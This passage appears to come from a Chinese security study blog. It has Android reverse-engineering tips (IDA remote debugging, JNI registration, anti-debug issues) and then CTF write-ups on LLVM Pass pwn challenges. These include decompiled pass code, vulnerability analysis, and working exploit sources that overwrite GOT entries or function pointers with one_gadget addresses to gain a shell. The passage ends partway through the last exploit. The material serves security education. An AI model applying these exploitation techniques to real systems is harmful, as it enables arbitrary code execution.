image-20240116151004671

在逆向时都可以的

5.NDK的so文件调试

导入IDA的android_server用root运行

image-20240116161134888

adb运行端口转发

image-20240116161152268

IDA附加调试即可

image-20240116161202324

6.JNI注册函数

静态注册函数

  • 在JAVA层如下,有static修饰的

    image-20240118160738824

  • 在IDA中一般在Exports导出函数中可以查看到

    image-20240118160901982

动态注册函数

  • 在JAVA层如下,动态注册函数

image-20240118160527165

  • 一般在IDA的.data.rel.ro.local段,这个sub_1174即为注册函数checkport的地址

image-20240117150115479

并且第一个参数均为__JNIEnv*,可以导入jni.h进行修改

7.反调试

常见的反调试有:[原创]【SO壳】17种安卓native反调试收集-Android安全-看雪-安全社区|安全招聘|kanxue.com

8.IDA调试问题

在连接so进行调试时

1
jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700 (jdb挂起)

这个可能导致

1
2
3
4
5
6
7
8
9
10
11
2.java.io.IOException: handshake failed - connection prematurally closed
at com.sun.tools.jdi.SocketTransportService.handshake(SocketTransportService.java:136)
at com.sun.tools.jdi.SocketTransportService.attach(SocketTransportService.java:232)
at com.sun.tools.jdi.GenericAttachingConnector.attach(GenericAttachingConnector.java:116)
at com.sun.tools.jdi.SocketAttachingConnector.attach(SocketAttachingConnector.java:90)
at com.sun.tools.example.debug.tty.VMConnection.attachTarget(VMConnection.java:519)
at com.sun.tools.example.debug.tty.VMConnection.open(VMConnection.java:328)
at com.sun.tools.example.debug.tty.Env.init(Env.java:63)
at com.sun.tools.example.debug.tty.TTY.main(TTY.java:1066)
致命错误:
无法附加到目标 VM。

大多是手机问题,或者存在反调试,选择低版本的手机

9.永久调试权限问题

这个问题出现在JEB4上面,换成JEB5可以了

当用MagiskHide Props Config获取永久调试权限时

image-20240119163123342

再使用JEB调试,记得还是需要修改一下AndroidManifest.xml的debuggable,不然JEB可能还是无法调试,估计是JEB分析APK时,也会检查APK中的AndroidManifest.xml的debuggabel选项,如果没设置或者不为True,那么仍然不给调试,这个可能时JEB的关系,和手机APP没什么关系。

《安卓逆向这档事》五、1000-7=?&动态调试&Log插桩 - 『移动安全区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

10.算法助手与Android13

有时候算法助手会有这个要求

image-20240125144058321

但是点进去又无法成功,使用此文件夹还是不行

image-20240125144128020

需要在Android/data/目录下新建包名文件夹,使用这个文件夹即可,此时算法助手就能自动定位到了

image-20240125144238337

参考

《教我兄弟学Android逆向系列课程+附件导航帖》 - 『移动安全区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

《关于我在吾爱破解论坛学安卓逆向这档事》预告 - 『水漫金山』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

LLVM学习

前置知识

CTF角度来说,会给出一个运行程序opt和一个库xx.so,然后做题需要提供一个exp.ll,传递给opt。这个exp.ll是通过exp.c进行中间表达式生成的,是exp.c在程序中的一个比较直观的结构,类似如下

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <unistd.h>

int main() {
char name[0x10];
read(0,name,0x10);
write(1,name,0x10);
printf("bye\n");
}

使用命令clang -emit-llvm -S exp.c -o exp.ll得到如下的exp.ll直观的程序中间结构表达式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
; ModuleID = 'main.c'
source_filename = "main.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"

@.str = private unnamed_addr constant [5 x i8] c"bye\0A\00", align 1

; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main() #0 {
%1 = alloca [16 x i8], align 16
%2 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 0
%3 = call i64 @read(i32 0, i8* %2, i64 16)
%4 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 0
%5 = call i64 @write(i32 1, i8* %4, i64 16)
%6 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0))
ret i32 0
}

declare dso_local i64 @read(i32, i8*, i64) #1

declare dso_local i64 @write(i32, i8*, i64) #1

declare dso_local i32 @printf(i8*, ...) #1

attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }

!llvm.module.flags = !{!0}
!llvm.ident = !{!1}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"clang version 10.0.0-4ubuntu1 "}

opt在运行时,加载xx.so,而xx.sorunOnFunction函数会对exp.ll中的函数进行一个对应的解析操作。比如遍历exp.ll中的函数,如果调用了add函数,就获取add函数的第一个参数a1,依据a1的值对全局变量p指针进行加操作,其他的依据write函数什么的进行写操作从而造成任意写漏洞等等。

具体的可以看:[原创] LLVM PASS PWN 总结-Pwn-看雪-安全社区|安全招聘|kanxue.com

题目

RedHat2021-simpleVM

漏洞分析

分析VMPass.soAlt+T搜索一下vtable,找到最后一个函数即为runOnFunction

image-20230828105741726

进入查看进行分析,如果有函数o0o0o0o0,则进入sub_6AC0进行处理

image-20230828105832996

然后在sub_6AC0函数中在进行循环分析,对每个基本块进行了遍历处理,处理函数为sub_6B80

image-20230828110053292

进入sub_6B80函数,大致分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
__int64 __fastcall sub_6B80(__int64 a1, llvm::BasicBlock *a2)
{
llvm::Value *CalledFunction; // rax
void **v3; // rax
void **v4; // rax
llvm::ConstantInt *v6; // [rsp+18h] [rbp-1B8h]
__int64 v7; // [rsp+20h] [rbp-1B0h]
__int64 v8; // [rsp+28h] [rbp-1A8h]
llvm::ConstantInt *v9; // [rsp+30h] [rbp-1A0h]
_QWORD *v10; // [rsp+38h] [rbp-198h]
__int64 v11; // [rsp+40h] [rbp-190h]
llvm::ConstantInt *v12; // [rsp+50h] [rbp-180h]
__int64 v13; // [rsp+58h] [rbp-178h]
__int64 v14; // [rsp+60h] [rbp-170h]
llvm::ConstantInt *v15; // [rsp+68h] [rbp-168h]
_QWORD *v16; // [rsp+70h] [rbp-160h]
__int64 v17; // [rsp+78h] [rbp-158h]
__int64 v18; // [rsp+A0h] [rbp-130h]
llvm::ConstantInt *v19; // [rsp+A8h] [rbp-128h]
void *v20; // [rsp+B0h] [rbp-120h]
__int64 v21; // [rsp+B8h] [rbp-118h]
__int64 v22; // [rsp+E0h] [rbp-F0h]
llvm::ConstantInt *v23; // [rsp+E8h] [rbp-E8h]
void *v24; // [rsp+F0h] [rbp-E0h]
__int64 v25; // [rsp+F8h] [rbp-D8h]
__int64 v26; // [rsp+110h] [rbp-C0h]
llvm::ConstantInt *v27; // [rsp+118h] [rbp-B8h]
_QWORD *v28; // [rsp+120h] [rbp-B0h]
__int64 v29; // [rsp+128h] [rbp-A8h]
__int64 ZExtValue; // [rsp+140h] [rbp-90h]
llvm::ConstantInt *v31; // [rsp+148h] [rbp-88h]
_QWORD *v32; // [rsp+150h] [rbp-80h]
__int64 ArgOperand; // [rsp+158h] [rbp-78h]
char *s1; // [rsp+168h] [rbp-68h]
llvm::CallBase *v35; // [rsp+170h] [rbp-60h]
llvm::Instruction *v36; // [rsp+180h] [rbp-50h]
_QWORD *Name; // [rsp+1A8h] [rbp-28h]
__int64 v38; // [rsp+1B8h] [rbp-18h] BYREF
__int64 v39[2]; // [rsp+1C0h] [rbp-10h] BYREF

v39[1] = __readfsqword(0x28u);
v39[0] = llvm::BasicBlock::begin(a2);
while ( 1 )
{
v38 = llvm::BasicBlock::end(a2);
if ( (llvm::operator!=(v39, &v38) & 1) == 0 )//基本是固定的LLVM遍历套路
break;
v36 = (llvm::Instruction *)llvm::dyn_cast<llvm::Instruction,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>>(v39);
//这里的55即操作码,查询对应文档为PHINode操作码,不是很懂这个
if ( (unsigned int)llvm::Instruction::getOpcode(v36) == 55 )
{
//获取指令
v35 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::Instruction>(v36);
if ( v35 )
{
s1 = (char *)malloc(0x20uLL);
//获取函数名称
CalledFunction = (llvm::Value *)llvm::CallBase::getCalledFunction(v35);
Name = (_QWORD *)llvm::Value::getName(CalledFunction);
*(_QWORD *)s1 = *Name;
*((_QWORD *)s1 + 1) = Name[1];
*((_QWORD *)s1 + 2) = Name[2];
*((_QWORD *)s1 + 3) = Name[3];
//处理pop函数
if ( !strcmp(s1, "pop") )
{
//如果函数参数是2,这里把pop函数名称本身当作了一个参数,所以实际上pop函数应该只有一个参数
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
//获取pop函数的第一个参数
ArgOperand = llvm::CallBase::getArgOperand(v35, 0);
v32 = 0LL;
v31 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOperand);
if ( v31 )
{
//解析参数值
ZExtValue = llvm::ConstantInt::getZExtValue(v31);
if ( ZExtValue == 1 )
v32 = off_20DFD0;
if ( ZExtValue == 2 )
v32 = off_20DFC0;
}
//做一些操作,实际调试一下就行
if ( v32 )
{
v3 = off_20DFD8;
*v32 = *(_QWORD *)*off_20DFD8;
*v3 = (char *)*v3 - 8;
}
}
}
//和pop类似
else if ( !strcmp(s1, "push") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
v29 = llvm::CallBase::getArgOperand(v35, 0);
v28 = 0LL;
v27 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v29);
if ( v27 )
{
v26 = llvm::ConstantInt::getZExtValue(v27);
if ( v26 == 1 )
v28 = off_20DFD0;
if ( v26 == 2 )
v28 = off_20DFC0;
}
if ( v28 )
{
v4 = off_20DFD8;
*off_20DFD8 = (char *)*off_20DFD8 + 8;
*(_QWORD *)*v4 = *v28;
}
}
}
//1:**off_20DFD0 = *off_20DFC0
//2:**off_20DFC0 = *off_20DFD0
else if ( !strcmp(s1, "store") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
v25 = llvm::CallBase::getArgOperand(v35, 0);
v24 = 0LL;
v23 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v25);
if ( v23 )
{
v22 = llvm::ConstantInt::getZExtValue(v23);
if ( v22 == 1 )
v24 = off_20DFD0;
if ( v22 == 2 )
v24 = off_20DFC0;
}
if ( v24 == off_20DFD0 )
{
**(_QWORD **)off_20DFD0 = *(_QWORD *)off_20DFC0;
}
else if ( v24 == off_20DFC0 )
{
**(_QWORD **)off_20DFC0 = *(_QWORD *)off_20DFD0;
}
}
}
//arg0: 1 -> *off_20DFD0 = **off_20DFC0
//arg0: 2 -> *off_20DFC0 = **off_20DFD0
else if ( !strcmp(s1, "load") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
v21 = llvm::CallBase::getArgOperand(v35, 0);
v20 = 0LL;
v19 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v21);
if ( v19 )
{
v18 = llvm::ConstantInt::getZExtValue(v19);
if ( v18 == 1 )
v20 = off_20DFD0;
if ( v18 == 2 )
v20 = off_20DFC0;
}
if ( v20 == off_20DFD0 )
*(_QWORD *)off_20DFC0 = **(_QWORD **)off_20DFD0;
if ( v20 == off_20DFC0 )
*(_QWORD *)off_20DFD0 = **(_QWORD **)off_20DFC0;
}
}
//arg0: 1 -> *off_20DFD0 += arg1
//arg0: 2 -> *off_20DFC0 += arg1
else if ( !strcmp(s1, "add") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 )
{
v17 = llvm::CallBase::getArgOperand(v35, 0);
v16 = 0LL;
v15 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v17);
if ( v15 )
{
v14 = llvm::ConstantInt::getZExtValue(v15);
if ( v14 == 1 )
v16 = off_20DFD0;
if ( v14 == 2 )
v16 = off_20DFC0;
}
if ( v16 )
{
v13 = llvm::CallBase::getArgOperand(v35, 1u);
v12 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v13);
if ( v12 )
*v16 += llvm::ConstantInt::getZExtValue(v12);
}
}
}
//arg0: 1 -> *off_20DFD0 -= arg1
//arg0: 2 -> *off_20DFC0 -= arg1
else if ( !strcmp(s1, "min") && (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 )
{
v11 = llvm::CallBase::getArgOperand(v35, 0);
v10 = 0LL;
v9 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v11);
if ( v9 )
{
v8 = llvm::ConstantInt::getZExtValue(v9);
if ( v8 == 1 )
v10 = off_20DFD0;
if ( v8 == 2 )
v10 = off_20DFC0;
}
if ( v10 )
{
v7 = llvm::CallBase::getArgOperand(v35, 1u);
v6 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v7);
if ( v6 )
*v10 -= llvm::ConstantInt::getZExtValue(v6);
}
}
free(s1);
}
}
llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator++(
v39,
0LL);
}
return 1LL;
}

总体总结如下,poppush与漏洞没什么关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
store:
arg0:1 -> **off_20DFC0 = *off_20DFD0
arg0:2 -> **off_20DFD0 = *off_20DFC0

load:
arg0: 1 -> *off_20DFC0 = **off_20DFD0
arg0: 2 -> *off_20DFD0 = **off_20DFC0

add:
arg0: 1 -> *off_20DFD0 += arg1
arg0: 2 -> *off_20DFC0 += arg1

min:
arg0: 1 -> *off_20DFD0 -= arg1
arg0: 2 -> *off_20DFC0 -= arg1

相当于现在可控任意两个指针reg1/reg2,并且可以取其中一个指针的值赋值给另一个指针。

简单调试

先写一下简单程序调试一下,由于题目给的是opt-8,所以最好我们安装的也是对应版本的,即

1
2
sudo apt install clang-8
sudo apt install llvm-8

对应的调试程序为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void add(int num, long long val);
void min(int num, long long val);
void load(int num);
void store(int num);

void o0o0o0o0()
{
load(1);
load(2);
store(1);
store(2);
add(1, 0x1000);
add(2, 0x1000);
min(1, 0x1000);
min(1, 0x1000);

}

使用命令clang-8 -emit-llvm -S myDebug.c -o myDebug.ll编译生成myDebug,随后在IDA进行远程调试,如下配置

image-20230828150159620

即可进行调试,通过调试可以想出利用步骤如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
reg1 = 0
reg2 = 0

add(1,free_got)
//控制reg1指针为opt程序中的got表地址free_got
reg1 += free_got

load(1)
reg2 = *reg1 = free_addr
//使得reg2指针为free_addr

add(2,offset)
//使得reg2指针为one_gadget

store(1)
//将reg2指针的值one_gadget赋值给reg1指向的值,即修改free_got为one_gadget

漏洞利用

checksec一下opt,一般不存在PIE,那么指向opt程序的got表就很轻松了,最终exp如下

1
2
3
4
5
6
7
8
9
10
void store(int a);
void load(int a);
void add(int a, int b);

void o0o0o0o0(){
add(1, 0x77e100);
load(1);
add(2, 0 - 0x9a6d0 + 0xe3b04);
store(1);
}

使用命令编译后运行即可

1
2
clang-8 -emit-llvm -S myExp.c -o myExp.ll
opt-8 -load ./VMPass.so -VMPass myExp.ll

需要注意的是,这里修改的是opt程序中的free_got,也需要程序opt程序调用才行,同时满足一些寄存器的设置,那么有时候可能不太满足One_gadget,那么多试试几个got也行。另外IDA远程调试的时候一些偏移可能有点问题,最好还是在gdb中寻找,使用如下命令

1
2
gdb ./opt-8
set args -load ./VMPass.so -VMPass ./myExp.ll

同时有时候从opt-8开始的时候不好确定加载的.so是在什么时候加载的,通常是winmt师傅找到的如下情况

img

CISCN-2021-satool

漏洞分析

分析漏洞,老套路,搜索vtablestart函数,得到runOnFunction函数和位置注册名为SAPass,进入分析

image-20230829094305721

image-20230829094320046

进入runOnFunction进行分析,首先是获取到解析的函数名称,这是硬编码的小端序

image-20230829094428297

image-20230829094523936

那么实际匹配的函数名称应该为B4ckDo0r,之后就有一堆奇奇怪怪的代码,暂时先不用管,仔细寻找字符串匹配的

image-20230829094630811

image-20230829094642785

image-20230829094654104

image-20230829094701499

简单调试

再简单写一个例子,通过调试进行分析,可以确定大致的函数名称、参数对应的模板如下

1
2
3
4
5
6
7
8
9
10
11
12
13
void save(char *a, char *b);
void stealkey();
void fakekey(long long x);
void run();

void B4ckDo0r()
{
save("", "");
takeaway(0);
stealkey();
fakekey(0x1111);
run();
}

在调试过程中发现涉及到堆,但是IDA不太好查看堆的结构,可以用一下插件:danigargu/heap-viewer: IDA Pro plugin to examine the glibc heap, focused on exploit development (github.com)

最终发现那一堆乱七八糟的代码都是一些检查,最终的函数大致功能如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
save:
save(arg0,arg1);
byte_2040f8 = chunk_addr
//申请0x18的chunk,将arg0的内容放到chunk,arg1的内容放到chunk + 8
//如果申请了0x10及以上的chunk,由于判断代码会导致释放,不过其实也可以溢出的,只是会释放而已。
//这个应该也可以进行相关利用的

takeaway:
//不分析,和漏洞无关


stealkey:
stealkey()
//将*byte_2040f8赋值给byte_204100

fakekey:
fakekey(arg0)
*byte_2040f8 = byte_204100 + arg0

run:
*byte_2040f8()

漏洞利用

那么申请残留libcchunk,修改残留的libc地址为one_gadget即可,然后run即可完成利用,在savemalloc之前下断点,查看堆状态

image-20230829141734303

image-20230829141743890

tcache有一个0x20chunk,随后就会从smallbins中申请,那么申请两次之后,得到残留libcchunk,然后使用stealkey将残留libc赋值给byte_204100,之后又使用fakekey进行修改将byte_204100的残留libc进行加减操作得到one_gadget,赋值给*byte_2040f8,通过run调用*byte_2040f8即可调用到one_gadget

最终exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// clang-8 -emit-llvm -S exp.c -o exp.ll
void save(char *a, char *b);
void stealkey();
void fakekey(long long x);
void run();

void B4ckDo0r()
{
save("\n", "\n");
save("", "\n");
stealkey();
fakekey(-0x1ecbf0+0xe3afe);
run();
}

强网杯-2022 yakagame

漏洞分析

直接shift+F12查看字符串,发现flag,交叉引用进入查看

image-20230829145039943

sub_C650查看是注册函数,依照惯例注册名应该为ayaka通过vtable找到runOnFunction

image-20230829145538577

处理函数为gamestart,分析找到内部处理函数有fight,并且满足score达成目标之后可以调用到后门,

image-20230829145854503

image-20230829145951845

那么主要分析点就是如何操作的score以及cmd如何赋值。经过分析,重点的漏洞在else分支

image-20230829171103523

else分支中,不满足以上所有函数的匹配的其他函数,会进入该分支,遍历funMap,如果funMap中存在对应关系funMap[func_name] = value,则作weaponlist[idx] = value操作,如果不存在,则添加对应关系funMap[func_name] = value

这里的idxchar型的,在每一次进入else分支都会进行遍历funMap的,那么funMap中如果存在很多项,导致匹配到某个已存在的函数时,idx-128~-1之间,那么就会导致weaponlist数组向上溢出了,从而能够覆盖到在weaponlist上方的scorecmd,完成劫持利用。

漏洞利用

那么就通过计算生成对应idx的函数进行覆盖即可,cmd可以让其指向opt程序中sh的指针,最终winmt师傅的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
// clang-8 -emit-llvm -S exp.c -o exp.ll
void winmt000(int x);
void winmt001(int x);
void winmt002(int x);
void winmt003(int x);
void winmt004(int x);
void winmt005(int x);
void winmt006(int x);
void winmt007(int x);
void winmt008(int x);
void winmt009(int x);
void winmt010(int x);
void winmt011(int x);
void winmt012(int x);
void winmt013(int x);
void winmt014(int x);
void winmt015(int x);
void winmt016(int x);
void winmt017(int x);
void winmt018(int x);
void winmt019(int x);
void winmt020(int x);
void winmt021(int x);
void winmt022(int x);
void winmt023(int x);
void winmt024(int x);
void winmt025(int x);
void winmt026(int x);
void winmt027(int x);
void winmt028(int x);
void winmt029(int x);
void winmt030(int x);
void winmt031(int x);
void winmt032(int x);
void winmt033(int x);
void winmt034(int x);
void winmt035(int x);
void winmt036(int x);
void winmt037(int x);
void winmt038(int x);
void winmt039(int x);
void winmt040(int x);
void winmt041(int x);
void winmt042(int x);
void winmt043(int x);
void winmt044(int x);
void winmt045(int x);
void winmt046(int x);
void winmt047(int x);
void winmt048(int x);
void winmt049(int x);
void winmt050(int x);
void winmt051(int x);
void winmt052(int x);
void winmt053(int x);
void winmt054(int x);
void winmt055(int x);
void winmt056(int x);
void winmt057(int x);
void winmt058(int x);
void winmt059(int x);
void winmt060(int x);
void winmt061(int x);
void winmt062(int x);
void winmt063(int x);
void winmt064(int x);
void winmt065(int x);
void winmt066(int x);
void winmt067(int x);
void winmt068(int x);
void winmt069(int x);
void winmt070(int x);
void winmt071(int x);
void winmt072(int x);
void winmt073(int x);
void winmt074(int x);
void winmt075(int x);
void winmt076(int x);
void winmt077(int x);
void winmt078(int x);
void winmt079(int x);
void winmt080(int x);
void winmt081(int x);
void winmt082(int x);
void winmt083(int x);
void winmt084(int x);
void winmt085(int x);
void winmt086(int x);
void winmt087(int x);
void winmt088(int x);
void winmt089(int x);
void winmt090(int x);
void winmt091(int x);
void winmt092(int x);
void winmt093(int x);
void winmt094(int x);
void winmt095(int x);
void winmt096(int x);
void winmt097(int x);
void winmt098(int x);
void winmt099(int x);
void winmt100(int x);
void winmt101(int x);
void winmt102(int x);
void winmt103(int x);
void winmt104(int x);
void winmt105(int x);
void winmt106(int x);
void winmt107(int x);
void winmt108(int x);
void winmt109(int x);
void winmt110(int x);
void winmt111(int x);
void winmt112(int x);
void winmt113(int x);
void winmt114(int x);
void winmt115(int x);
void winmt116(int x);
void winmt117(int x);
void winmt118(int x);
void winmt119(int x);
void winmt120(int x);
void winmt121(int x);
void winmt122(int x);
void winmt123(int x);
void winmt124(int x);
void winmt125(int x);
void winmt126(int x);
void winmt127(int x);
void winmt128(int x);
void winmt129(int x);
void winmt130(int x);
void winmt131(int x);
void winmt132(int x);
void winmt133(int x);
void winmt134(int x);
void winmt135(int x);
void winmt136(int x);
void winmt137(int x);
void winmt138(int x);
void winmt139(int x);
void winmt140(int x);
void winmt141(int x);
void winmt142(int x);
void winmt143(int x);
void winmt144(int x);
void winmt145(int x);
void winmt146(int x);
void winmt147(int x);
void winmt148(int x);
void winmt149(int x);
void winmt150(int x);
void winmt151(int x);
void winmt152(int x);
void winmt153(int x);
void winmt154(int x);
void winmt155(int x);
void winmt156(int x);
void winmt157(int x);
void winmt158(int x);
void winmt159(int x);
void winmt160(int x);
void winmt161(int x);
void winmt162(int x);
void winmt163(int x);
void winmt164(int x);
void winmt165(int x);
void winmt166(int x);
void winmt167(int x);
void winmt168(int x);
void winmt169(int x);
void winmt170(int x);
void winmt171(int x);
void winmt172(int x);
void winmt173(int x);
void winmt174(int x);
void winmt175(int x);
void winmt176(int x);
void winmt177(int x);
void winmt178(int x);
void winmt179(int x);
void winmt180(int x);
void winmt181(int x);
void winmt182(int x);
void winmt183(int x);
void winmt184(int x);
void winmt185(int x);
void winmt186(int x);
void winmt187(int x);
void winmt188(int x);
void winmt189(int x);
void winmt190(int x);
void winmt191(int x);
void winmt192(int x);
void winmt193(int x);
void winmt194(int x);
void winmt195(int x);
void winmt196(int x);
void winmt197(int x);
void winmt198(int x);
void winmt199(int x);
void winmt200(int x);
void winmt201(int x);
void winmt202(int x);
void winmt203(int x);
void winmt204(int x);
void winmt205(int x);
void winmt206(int x);
void winmt207(int x);
void winmt208(int x);
void winmt209(int x);
void winmt210(int x);
void winmt211(int x);
void winmt212(int x);
void winmt213(int x);
void winmt214(int x);
void winmt215(int x);
void winmt216(int x);
void winmt217(int x);
void winmt218(int x);
void winmt219(int x);
void winmt220(int x);
void winmt221(int x);
void winmt222(int x);
void winmt223(int x);
void winmt224(int x);
void winmt225(int x);
void winmt226(int x);
void winmt227(int x);
void winmt228(int x);
void winmt229(int x);
void winmt230(int x);
void winmt231(int x);
void winmt232(int x);
void winmt233(int x);
void winmt234(int x);
void winmt235(int x);
void winmt236(int x);
void winmt237(int x);
void winmt238(int x);
void winmt239(int x);
void winmt240(int x);

void fight(int x);

void gamestart()
{
winmt000(0);
winmt001(0);
winmt002(0);
winmt003(0);
winmt004(0);
winmt005(0);
winmt006(0);
winmt007(0);
winmt008(0);
winmt009(0);
winmt010(0);
winmt011(0);
winmt012(0);
winmt013(0);
winmt014(0);
winmt015(0);
winmt016(0);
winmt017(0);
winmt018(0);
winmt019(0);
winmt020(0);
winmt021(0);
winmt022(0);
winmt023(0);
winmt024(0);
winmt025(0);
winmt026(0);
winmt027(0);
winmt028(0);
winmt029(0);
winmt030(0);
winmt031(0);
winmt032(0);
winmt033(0);
winmt034(0);
winmt035(0);
winmt036(0);
winmt037(0);
winmt038(0);
winmt039(0);
winmt040(0);
winmt041(0);
winmt042(0);
winmt043(0);
winmt044(0);
winmt045(0);
winmt046(0);
winmt047(0);
winmt048(0);
winmt049(0);
winmt050(0);
winmt051(0);
winmt052(0);
winmt053(0);
winmt054(0);
winmt055(0);
winmt056(0);
winmt057(0);
winmt058(0);
winmt059(0);
winmt060(0);
winmt061(0);
winmt062(0);
winmt063(0);
winmt064(0);
winmt065(0);
winmt066(0);
winmt067(0);
winmt068(0);
winmt069(0);
winmt070(0);
winmt071(0);
winmt072(0);
winmt073(0);
winmt074(0);
winmt075(0);
winmt076(0);
winmt077(0);
winmt078(0);
winmt079(0);
winmt080(0);
winmt081(0);
winmt082(0);
winmt083(0);
winmt084(0);
winmt085(0);
winmt086(0);
winmt087(0);
winmt088(0);
winmt089(0);
winmt090(0);
winmt091(0);
winmt092(0);
winmt093(0);
winmt094(0);
winmt095(0);
winmt096(0);
winmt097(0);
winmt098(0);
winmt099(0);
winmt100(0);
winmt101(0);
winmt102(0);
winmt103(0);
winmt104(0);
winmt105(0);
winmt106(0);
winmt107(0);
winmt108(0);
winmt109(0);
winmt110(0);
winmt111(0);
winmt112(0);
winmt113(0);
winmt114(0);
winmt115(0);
winmt116(0);
winmt117(0);
winmt118(0);
winmt119(0);
winmt120(0);
winmt121(0);
winmt122(0);
winmt123(0);
winmt124(0);
winmt125(0);
winmt126(0);
winmt127(0);
